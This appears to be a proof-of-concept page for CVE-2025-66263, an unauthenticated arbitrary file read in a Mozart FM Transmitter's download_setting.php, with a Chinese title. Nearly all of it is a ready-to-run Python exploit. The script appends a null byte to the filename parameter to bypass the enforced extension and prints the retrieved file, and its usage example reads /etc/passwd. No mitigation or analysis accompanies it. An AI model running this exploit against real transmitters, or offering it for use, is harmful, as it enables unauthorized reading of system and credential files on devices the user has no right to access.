CVE-2025-66263: Mozart FM Transmitter download_setting.php 任意文件读取漏洞

import requests import sys # CVE-2025-66263 PoC - Mozart FM Transmitter Null Byte Injection # Target: /var/tdf/download_setting.php # Vulnerability: Unauthenticated Arbitrary File Read via Null Byte Injection def exploit(target_url, filename): """ Exploit null byte injection to read arbitrary files """ # Construct the exploit URL with null byte injection # The %00 (null byte) will terminate the string in PHP < 5.3.4 # causing the .tgz extension to be ignored params = { 'filename': filename + '%00' } try: print(f"[*] Target: {target_url}") print(f"[*] Requesting file: {filename}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File content retrieved ({len(response.content)} bytes)") print("=" * 60) print(response.text[:2000]) # Print first 2000 chars print("=" * 60) return response.content else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-66263.py <target_url> ") print("Example: python cve-2025-66263.py http://target.com/download_setting.php /etc/passwd") sys.exit(1) target = sys.argv[1] filename = sys.argv[2] # Common targets for enumeration exploit(target, filename)